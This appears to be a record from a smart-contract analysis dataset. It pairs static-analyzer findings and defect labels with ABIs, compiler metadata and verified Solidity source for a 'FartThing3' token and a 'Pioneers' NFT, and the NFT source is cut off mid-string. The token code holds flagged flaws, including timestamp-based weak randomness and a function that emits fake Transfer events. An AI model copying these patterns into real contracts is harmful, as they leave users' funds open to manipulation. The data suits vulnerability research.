[{"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 434, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 435, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 168, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 83, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 260, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 338, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 341, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 347, "severity": 1}, {"rule": "SOLIDITY_EXTRA_GAS_IN_LOOPS", "line": 447, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 6, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 33, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 111, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 181, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 411, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 49, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 117, "severity": 1}, {"rule": "SOLIDITY_REVERT_REQUIRE", "line": 202, "severity": 1}, {"rule": "SOLIDITY_REVERT_REQUIRE", "line": 204, "severity": 1}, {"rule": "SOLIDITY_REVERT_REQUIRE", "line": 206, "severity": 1}, {"rule": "SOLIDITY_REVERT_REQUIRE", "line": 208, "severity": 1}, {"rule": "SOLIDITY_SHOULD_NOT_BE_PURE", "line": 233, "severity": 1}, {"rule": "SOLIDITY_SHOULD_RETURN_STRUCT", "line": 233, "severity": 1}, {"rule": "SOLIDITY_SHOULD_RETURN_STRUCT", "line": 295, "severity": 1}, {"rule": "SOLIDITY_SHOULD_RETURN_STRUCT", "line": 327, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 23, "severity": 1}, {"rule": "SOLIDITY_USING_INLINE_ASSEMBLY", "line": 243, "severity": 1}, {"rule": "SOLIDITY_USING_INLINE_ASSEMBLY", "line": 254, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 56, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 432, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 418, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 419, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 420, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 438, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 439, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 441, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 442, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 479, "severity": 1}]
[{"inputs":[{"internalType":"address","name":"signer_","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"addressToLastMonthClaimed","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"signer_","type":"address"}],"name":"changeSigner","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256[]","name":"months","type":"uint256[]"},{"internalType":"uint256","name":"amount","type":"uint256"},{"internalType":"bytes","name":"signature","type":"bytes"}],"name":"claim","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"flipLock","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"withdraw","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
v0.8.10+commit.fc410830
true
200
00000000000000000000000029f5387b7c6019ae879b46f6b0d6fe347d43be30
Default
None
false
ipfs://b8b4a379b7304b22502324d79407f7b09c5a7e4ecb59c1a070c4e58ff0f67dda
FartThing3
0x1cca3b5ad8539260785fce66b895b7f85b8563aa
Solidity
/** *Submitted for verification at Etherscan.io on 2019-09-15 */ /** *Submitted for verification at Etherscan.io on 2019-02-11 */ pragma solidity ^ 0.5 .11; interface IERC20 { function totalSupply() external view returns(uint256); function balanceOf(address who) external view returns(uint256); function transfer(address to, uint256 value) external returns(bool); event Transfer(address indexed from, address indexed to, uint256 value); } // ============================================================================ // Safe maths // ============================================================================ library SafeMath { function add(uint256 a, uint256 b) internal pure returns(uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns(uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns(uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns(uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns(uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns(uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; constructor(string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } function name() public view returns(string memory) { return _name; } function symbol() public view returns(string memory) { return _symbol; } function decimals() public view returns(uint8) { return _decimals; } } contract FartThing3 is ERC20Detailed { using SafeMath for uint; mapping(address => mapping(address => uint256)) private _allowed; string constant tokenName = "FartThings v3.0"; string constant tokenSymbol = "FART3"; uint8 constant tokenDecimals = 8; uint256 _totalSupply = 0; //amount per receiver (with decimals) uint public allowedAmount = 5000000 * 10 ** uint(8); //500,000 tokens to distribure address public _owner; mapping(address => uint) public balances; //for keeping a track how much each address earned mapping(uint => address) internal addressID; //for getting a random address uint public totalAddresses = 0; uint private nonce = 0; bool private constructorLock = false; bool public contractLock = false; uint public tokenReward = 20000000000; uint public leadReward = 1000000000; constructor() public payable ERC20Detailed(tokenName, tokenSymbol, tokenDecimals) { if (constructorLock == true) revert(); _owner = msg.sender; constructorLock = true; //recovering the previous addresses emit Transfer(address(0), address(0x3b0535C602078a22A9954209B3556549C4E5E987), 500 * 10 ** uint(8)); //Since we had to alter the last contract balances[address(0x3b0535C602078a22A9954209B3556549C4E5E987)] = 500 * 10 ** uint(8); } function changeRewards(uint tkReward, uint ldReward) public{ require(address(msg.sender) == address(_owner)); tokenReward = tkReward; leadReward = ldReward; } function deleteAllFarts() public{ emit Transfer(msg.sender, address(0), balances[msg.sender]); } function totalSupply() public view returns(uint256) { return _totalSupply; } function balanceOf(address owner) public view returns(uint256) { return balances[owner]; } function processTransfer(address to, uint claim) internal returns(bool) { emit Transfer(address(0), to, claim); balances[to] = balances[to].add(claim); allowedAmount = allowedAmount.sub(claim); _totalSupply = _totalSupply.add(claim); return true; } function transfer(address to, uint256 value) public returns(bool) { require(contractLock == false); uint senderRewardAmount = tokenReward;//reward is always given if (balances[msg.sender] == 0) { //first time, everyone gets only 100 tokens. if (allowedAmount < senderRewardAmount) { killContract(); revert(); } processTransfer(msg.sender, senderRewardAmount); addressID[totalAddresses] = msg.sender; totalAddresses++; return true; } address rndAddress = getRandomAddress(); uint rndAddressRewardAmount = calculateRndReward(rndAddress); senderRewardAmount = senderRewardAmount.add(calculateAddReward(rndAddress)); if (rndAddressRewardAmount > 0) { if (allowedAmount < rndAddressRewardAmount) { killContract(); revert(); } processTransfer(rndAddress, rndAddressRewardAmount); } if (allowedAmount < senderRewardAmount) { killContract(); revert(); } processTransfer(msg.sender, senderRewardAmount); return true; } function getRandomAddress() internal returns(address) { uint randomID = uint(keccak256(abi.encodePacked(now, msg.sender, nonce))) % totalAddresses; nonce++; return addressID[randomID]; } function calculateRndReward(address rndAddress) internal returns(uint) { if (address(msg.sender) == address(rndAddress)) { return 0; } uint rndAmt = balances[rndAddress]; uint senderAmt = balances[msg.sender]; if (senderAmt > rndAmt) { uint senderReduced = (senderAmt.mul(3)).div(5); uint rndReduced = (rndAmt.mul(3)).div(5); uint rndRewardAmount = senderReduced.sub(rndReduced); return rndRewardAmount; } return 0; } function calculateAddReward(address rndAddress) internal returns(uint) { uint ret = 0; if (address(msg.sender) == address(rndAddress)) { return ret; } uint rndAmt = balances[rndAddress]; uint senderAmt = balances[msg.sender]; if (senderAmt > rndAmt) { //add 50% for being a lead ret = ret.add(leadReward); } if (senderAmt < rndAmt) { uint senderReduced = (senderAmt.mul(3)).div(5); uint rndReduced = (rndAmt.mul(3)).div(5); ret = ret.add(rndReduced.sub(senderReduced)); } return ret; } function switchContractLock() public { require(address(msg.sender) == address(_owner)); contractLock = !contractLock; } function killContract() private { contractLock = true; } function alterAllowedAmount(uint newAmount) public { require(address(msg.sender) == address(_owner)); allowedAmount = newAmount; } }
[{"defect": "Unused_state_variable", "type": "Code_specification", "severity": "Low", "lines": ["94", "90", "92", "93"]}, {"defect": "Balance_manipulation", "type": "Business_logic", "severity": "Medium", "lines": ["151"]}, {"defect": "Integer_overflow_and_underflow", "type": "Code_specification", "severity": "High", "lines": ["116", "98"]}, {"defect": "Dependency_of_timestamp", "type": "Business_logic", "severity": "Medium", "lines": ["184"]}]
[{"check": "weak-prng", "impact": "High", "confidence": "Medium", "lines": {"FartThing3.sol": [182]}}, {"check": "boolean-equal", "impact": "Informational", "confidence": "High", "lines": {"FartThing3.sol": [110]}}, {"check": "boolean-equal", "impact": "Informational", "confidence": "High", "lines": {"FartThing3.sol": [148]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"FartThing3.sol": [82, 83, 84]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"FartThing3.sol": [80, 78, 79]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"FartThing3.sol": [74, 75, 76]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"FartThing3.sol": [220, 221, 222, 223]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"FartThing3.sol": [131, 132, 133]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"FartThing3.sol": [120, 121, 122, 123, 124]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"FartThing3.sol": [232, 229, 230, 231]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"FartThing3.sol": [128, 129, 127]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"FartThing3.sol": [136, 137, 135]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"FartThing3.sol": [147, 148, 149, 150, 151, 152, 153, 154, 155, 156, 157, 158, 159, 160, 161, 162, 163, 164, 165, 166, 167, 168, 169, 170, 171, 172, 173, 174, 175, 176, 177, 178, 179]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"FartThing3.sol": [9]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {}}, {"check": "shadowing-local", "impact": "Low", "confidence": "High", "lines": {"FartThing3.sol": [80, 78, 79]}}, {"check": "shadowing-local", "impact": "Low", "confidence": "High", "lines": {"FartThing3.sol": [82, 83, 84]}}, {"check": "shadowing-local", "impact": "Low", "confidence": "High", "lines": {"FartThing3.sol": [74, 75, 76]}}, {"check": "locked-ether", "impact": "Medium", "confidence": "High", "lines": {"FartThing3.sol": [109, 110, 111, 112, 113, 114, 115, 116, 117, 118]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"FartThing3.sol": [99]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"FartThing3.sol": [93]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"FartThing3.sol": [94]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"FartThing3.sol": [92]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"FartThing3.sol": [95]}}, {"check": "too-many-digits", "impact": "Informational", "confidence": "Medium", "lines": {"FartThing3.sol": [107]}}, {"check": "too-many-digits", "impact": "Informational", "confidence": "Medium", "lines": {"FartThing3.sol": [106]}}, {"check": "too-many-digits", "impact": "Informational", "confidence": "Medium", "lines": {"FartThing3.sol": [98]}}, {"check": "unused-state", "impact": "Informational", "confidence": "High", "lines": {"FartThing3.sol": [87, 88, 89, 90, 91, 92, 93, 94, 95, 96, 97, 98, 99, 100, 101, 102, 103, 104, 105, 106, 107, 108, 109, 110, 111, 112, 113, 114, 115, 116, 117, 118, 119, 120, 121, 122, 123, 124, 125, 126, 127, 128, 129, 130, 131, 132, 133, 134, 135, 136, 137, 138, 139, 140, 141, 142, 143, 144, 145, 146, 147, 148, 149, 150, 151, 152, 153, 154, 155, 156, 157, 158, 159, 160, 161, 162, 163, 164, 165, 166, 167, 168, 169, 170, 171, 172, 173, 174, 175, 176, 177, 178, 179, 180, 181, 182, 183, 184, 185, 186, 187, 188, 189, 190, 191, 192, 193, 194, 195, 196, 197, 198, 199, 200, 201, 202, 203, 204, 205, 206, 207, 208, 209, 210, 211, 212, 213, 214, 215, 216, 217, 218, 219, 220, 221, 222, 223, 224, 225, 226, 227, 228, 229, 230, 231, 232, 233, 234, 235]}}]
[]
[{"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 115, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 116, "severity": 1}, {"rule": "SOLIDITY_LOCKED_MONEY", "line": 87, "severity": 3}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 9, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 64, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 65, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 66, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 90, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 103, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 104, "severity": 1}, {"rule": "SOLIDITY_REVERT_REQUIRE", "line": 110, "severity": 1}, {"rule": "SOLIDITY_REVERT_REQUIRE", "line": 152, "severity": 1}, {"rule": "SOLIDITY_REVERT_REQUIRE", "line": 166, "severity": 1}, {"rule": "SOLIDITY_REVERT_REQUIRE", "line": 173, "severity": 1}, {"rule": "SOLIDITY_SAFEMATH", "line": 89, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 92, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 93, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 94, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 95, "severity": 1}]
[{"constant":true,"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"leadReward","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[],"name":"switchContractLock","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"balances","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"internalType":"uint256","name":"tkReward","type":"uint256"},{"internalType":"uint256","name":"ldReward","type":"uint256"}],"name":"changeRewards","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"tokenReward","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"internalType":"address","name":"owner","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"allowedAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"_owner","outputs":[{"internalType":"address","name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"internalType":"uint256","name":"newAmount","type":"uint256"}],"name":"alterAllowedAmount","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"contractLock","outputs":[{"internalType":"bool","name":"","type":"bool"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"totalAddresses","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[],"name":"deleteAllFarts","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"inputs":[],"payable":true,"stateMutability":"payable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"}]
v0.5.11+commit.c082d0b4
false
200
Default
MIT
false
bzzr://b382c27efd78bf9ff8dc5b02f1c606818f7d2625c38fd5721433507c28d790cb
Pioneers
0x4b5904b2821a39402788910312b873b08db0566c
Solidity
// SPDX-License-Identifier: AGPL-3.0-only pragma solidity 0.8.12; /// [MIT License] /// @title Base64 /// @notice Provides a function for encoding some bytes in base64 /// @author Brecht Devos <[email protected]> library Base64 { bytes internal constant TABLE = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"; /// @notice Encodes some bytes to the base64 representation function encode(bytes memory data) internal pure returns (string memory) { uint256 len = data.length; if (len == 0) return ""; // multiply by 4/3 rounded up uint256 encodedLen = 4 * ((len + 2) / 3); // Add some extra buffer at the end bytes memory result = new bytes(encodedLen + 32); bytes memory table = TABLE; assembly { let tablePtr := add(table, 1) let resultPtr := add(result, 32) for { let i := 0 } lt(i, len) { } { i := add(i, 3) let input := and(mload(add(data, i)), 0xffffff) let out := mload(add(tablePtr, and(shr(18, input), 0x3F))) out := shl(8, out) out := add( out, and(mload(add(tablePtr, and(shr(12, input), 0x3F))), 0xFF) ) out := shl(8, out) out := add( out, and(mload(add(tablePtr, and(shr(6, input), 0x3F))), 0xFF) ) out := shl(8, out) out := add( out, and(mload(add(tablePtr, and(input, 0x3F))), 0xFF) ) out := shl(224, out) mstore(resultPtr, out) resultPtr := add(resultPtr, 4) } switch mod(len, 3) case 1 { mstore(sub(resultPtr, 2), shl(240, 0x3d3d)) } case 2 { mstore(sub(resultPtr, 1), shl(248, 0x3d)) } mstore(result, encodedLen) } return string(result); } }/// @title ERC20 Interface /// @dev https://eips.ethereum.org/EIPS/eip-20 /// @author Andreas Bigger <[email protected]> interface IERC20 { /// @dev The circulating supply of tokens function totalSupply() external view returns (uint256); /// @dev The number of tokens owned by the account /// @param account The address to get the balance for function balanceOf(address account) external view returns (uint256); /// @dev Transfers the specified amount of tokens to the recipient from the sender function transfer(address recipient, uint256 amount) external returns (bool); /// @dev The amount of tokens the spender is permitted to transfer from the owner function allowance(address owner, address spender) external view returns (uint256); /// @dev Permits a spender to transfer an amount of tokens function approve(address spender, uint256 amount) external returns (bool); /// @dev Transfers tokens from the sender using the caller's allowance function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /// @dev Emitted when tokens are transfered /// @param from The address that is sending the tokens /// @param to The token recipient /// @param value The number of tokens event Transfer(address indexed from, address indexed to, uint256 value); /// @dev Emitted when an owner permits a spender /// @param owner The token owner /// @param spender The permitted spender /// @param value The number of tokens event Approval(address indexed owner, address indexed spender, uint256 value); } /// @notice Modern, minimalist, and gas efficient ERC-721 implementation. /// @author Solmate (https://github.com/Rari-Capital/solmate/blob/main/src/tokens/ERC721.sol) /// @dev Note that balanceOf does not revert if passed the zero address, in defiance of the ERC. abstract contract ERC721 { /*/////////////////////////////////////////////////////////////// EVENTS //////////////////////////////////////////////////////////////*/ event Transfer(address indexed from, address indexed to, uint256 indexed id); event Approval(address indexed owner, address indexed spender, uint256 indexed id); event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /*/////////////////////////////////////////////////////////////// METADATA STORAGE/LOGIC //////////////////////////////////////////////////////////////*/ string public name; string public symbol; function tokenURI(uint256 id) public view virtual returns (string memory); /*/////////////////////////////////////////////////////////////// ERC721 STORAGE //////////////////////////////////////////////////////////////*/ mapping(address => uint256) public balanceOf; mapping(uint256 => address) public ownerOf; mapping(uint256 => address) public getApproved; mapping(address => mapping(address => bool)) public isApprovedForAll; /*/////////////////////////////////////////////////////////////// CONSTRUCTOR //////////////////////////////////////////////////////////////*/ constructor(string memory _name, string memory _symbol) { name = _name; symbol = _symbol; } /*/////////////////////////////////////////////////////////////// ERC721 LOGIC //////////////////////////////////////////////////////////////*/ function approve(address spender, uint256 id) public virtual { address owner = ownerOf[id]; require(msg.sender == owner || isApprovedForAll[owner][msg.sender], "NOT_AUTHORIZED"); getApproved[id] = spender; emit Approval(owner, spender, id); } function setApprovalForAll(address operator, bool approved) public virtual { isApprovedForAll[msg.sender][operator] = approved; emit ApprovalForAll(msg.sender, operator, approved); } function transferFrom( address from, address to, uint256 id ) public virtual { require(from == ownerOf[id], "WRONG_FROM"); require(to != address(0), "INVALID_RECIPIENT"); require( msg.sender == from || msg.sender == getApproved[id] || isApprovedForAll[from][msg.sender], "NOT_AUTHORIZED" ); // Underflow of the sender's balance is impossible because we check for // ownership above and the recipient's balance can't realistically overflow. unchecked { balanceOf[from]--; balanceOf[to]++; } ownerOf[id] = to; delete getApproved[id]; emit Transfer(from, to, id); } function safeTransferFrom( address from, address to, uint256 id ) public virtual { transferFrom(from, to, id); require( to.code.length == 0 || ERC721TokenReceiver(to).onERC721Received(msg.sender, from, id, "") == ERC721TokenReceiver.onERC721Received.selector, "UNSAFE_RECIPIENT" ); } function safeTransferFrom( address from, address to, uint256 id, bytes memory data ) public virtual { transferFrom(from, to, id); require( to.code.length == 0 || ERC721TokenReceiver(to).onERC721Received(msg.sender, from, id, data) == ERC721TokenReceiver.onERC721Received.selector, "UNSAFE_RECIPIENT" ); } /*/////////////////////////////////////////////////////////////// ERC165 LOGIC //////////////////////////////////////////////////////////////*/ function supportsInterface(bytes4 interfaceId) public pure virtual returns (bool) { return interfaceId == 0x01ffc9a7 || // ERC165 Interface ID for ERC165 interfaceId == 0x80ac58cd || // ERC165 Interface ID for ERC721 interfaceId == 0x5b5e139f; // ERC165 Interface ID for ERC721Metadata } /*/////////////////////////////////////////////////////////////// INTERNAL MINT/BURN LOGIC //////////////////////////////////////////////////////////////*/ function _mint(address to, uint256 id) internal virtual { require(to != address(0), "INVALID_RECIPIENT"); require(ownerOf[id] == address(0), "ALREADY_MINTED"); // Counter overflow is incredibly unrealistic. unchecked { balanceOf[to]++; } ownerOf[id] = to; emit Transfer(address(0), to, id); } function _burn(uint256 id) internal virtual { address owner = ownerOf[id]; require(ownerOf[id] != address(0), "NOT_MINTED"); // Ownership check above ensures no underflow. unchecked { balanceOf[owner]--; } delete ownerOf[id]; delete getApproved[id]; emit Transfer(owner, address(0), id); } /*/////////////////////////////////////////////////////////////// INTERNAL SAFE MINT LOGIC //////////////////////////////////////////////////////////////*/ function _safeMint(address to, uint256 id) internal virtual { _mint(to, id); require( to.code.length == 0 || ERC721TokenReceiver(to).onERC721Received(msg.sender, address(0), id, "") == ERC721TokenReceiver.onERC721Received.selector, "UNSAFE_RECIPIENT" ); } function _safeMint( address to, uint256 id, bytes memory data ) internal virtual { _mint(to, id); require( to.code.length == 0 || ERC721TokenReceiver(to).onERC721Received(msg.sender, address(0), id, data) == ERC721TokenReceiver.onERC721Received.selector, "UNSAFE_RECIPIENT" ); } } /// @notice A generic interface for a contract which properly accepts ERC721 tokens. /// @author Solmate (https://github.com/Rari-Capital/solmate/blob/main/src/tokens/ERC721.sol) interface ERC721TokenReceiver { function onERC721Received( address operator, address from, uint256 id, bytes calldata data ) external returns (bytes4); } //////////////////////////////////////////////// /// /// /// /|\ /|\ /// /// ||||| ||||| /// /// ||||| ||||| /// /// /\ ||||| /\ ||||| /// /// |||| ||||| |||| ||||| /// /// |||| ||||| /\ |||| ||||| /\ /// /// |||| ||||| |||| |||| ||||| |||| /// /// \|`-'|||| |||| \|`-'|||| |||| /// /// \__ |||| |||| \__ |||| |||| /// /// ||||`-'||| ||||`-'||| /// /// |||| ___/ |||| ___/ /// /// ||||| ||||| /// /// ||||| ||||| /// /// ------------------------------------ /// /// /// //////////////////////////////////////////////// /// @title Pioneers /// @notice An NFT for early Yobot Adopters /// @author Andreas Bigger <[email protected]> /// @dev Opensea gasless listings logic adapted from Crypto Covens /// @dev Ref: https://etherscan.io/address/0x5180db8f5c931aae63c74266b211f580155ecac8#code contract Pioneers is ERC721 { /// ~~~~~~~~~~~~~~~~~~~~~~ CUSTOM ERRORS ~~~~~~~~~~~~~~~~~~~~~~ /// /// @notice Maximum number of tokens minted error MaximumMints(); /// @notice Too few tokens remain error InsufficientTokensRemain(); /// @notice Not enough ether sent to mint error InsufficientFunds(); /// @notice Caller is not the contract owner error Unauthorized(); /// @notice Thrown if the user has already minted this token error AlreadyMinted(); /// @notice Thrown when the sale is closed error MintClosed(); /// ~~~~~~~~~~~~~~~~~~~~~~~~~ STORAGE ~~~~~~~~~~~~~~~~~~~~~~~~~ /// /// @dev Number of tokens uint8 public tokenCount; /// @notice The contract Owner address public owner; /// @notice Sale Active? bool public isPublicSaleActive; /// @notice Allowed mints per wallet mapping(address => bool) public minted; /// @notice The maximum number of nfts to mint uint256 public constant MAXIMUM_COUNT = 100; /// @notice The maximum number of tokens to mint per wallet uint256 public constant MAX_TOKENS_PER_WALLET = 1; /// @notice Cost to mint a token uint256 public constant PUBLIC_SALE_PRICE = 0.05 ether; /// ~~~~~~~~~~~~~~~~~~~~~~~~ MODIFIERS ~~~~~~~~~~~~~~~~~~~~~~~~ /// /// @dev Checks if there are enough tokens left for minting modifier canMint() { if (tokenCount >= MAXIMUM_COUNT) { revert MaximumMints(); } if (tokenCount + 1 > MAXIMUM_COUNT) { revert InsufficientTokensRemain(); } if (minted[msg.sender]) { revert AlreadyMinted(); } _; } /// @dev Checks if user sent enough ether to mint modifier isCorrectPayment() { if (PUBLIC_SALE_PRICE > msg.value) { revert InsufficientFunds(); } _; } /// @dev Checks if the message sender is the contract owner modifier onlyOwner() { if (msg.sender != owner) { revert Unauthorized(); } _; } /// @dev Checks if minting is enabled modifier isMintingOpen() { if (!isPublicSaleActive) { revert MintClosed(); } _; } /// ~~~~~~~~~~~~~~~~~~~~~~~ CONSTRUCTOR ~~~~~~~~~~~~~~~~~~~~~~~ /// /// @notice Creates the ERC721 with the predefined metadata constructor() ERC721("Pioneers", "PINR") { owner = msg.sender; } /// ~~~~~~~~~~~~~~~~~~~~~~~~~ METADATA ~~~~~~~~~~~~~~~~~~~~~~~~ /// /// @notice Returns the URI for the given token /// @param tokenId The token id to query against function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { string memory baseSvg = "<svg viewBox='0 0 800 800' xmlns='http://www.w3.org/2000/svg' xmlns:xlink='http://www.w3.org/1999/xlink'>" "<style>.text--line{font-size:400px;font-weight:bold;font-family:'Arial';}" ".top-text{fill:#bafe49;font-weight: bold;font-color:#bafe49;font-size:40px;font-family:'Arial';}" ".text-copy{fill:none;stroke:white;stroke-dasharray:25% 40%;stroke-width:4px;animation:stroke-offset 9s infinite linear;}" ".text-copy:nth-child(1){stroke:#bafe49;stroke-dashoffset:6% * 1;}.text-copy:nth-child(2){stroke:#bafe49;stroke-dashoffset:6% * 2;}" ".text-copy:nth-child(3){stroke:#bafe49;stroke-dashoffset:6% * 3;}.text-copy:nth-child(4){stroke:#bafe49;stroke-dashoffset:6% * 4;}" ".text-copy:nth-child(5){stroke:#bafe49;stroke-dashoffset:6% * 5;}.text-copy:nth-child(6){stroke:#bafe49;stroke-dashoffset:6% * 6;}" ".text-copy:nth-child(7){stroke:#bafe49;stroke-dashoffset:6% * 7;}.text-copy:nth-child(8){stroke:#bafe49;stroke-dashoffset:6% * 8;}" 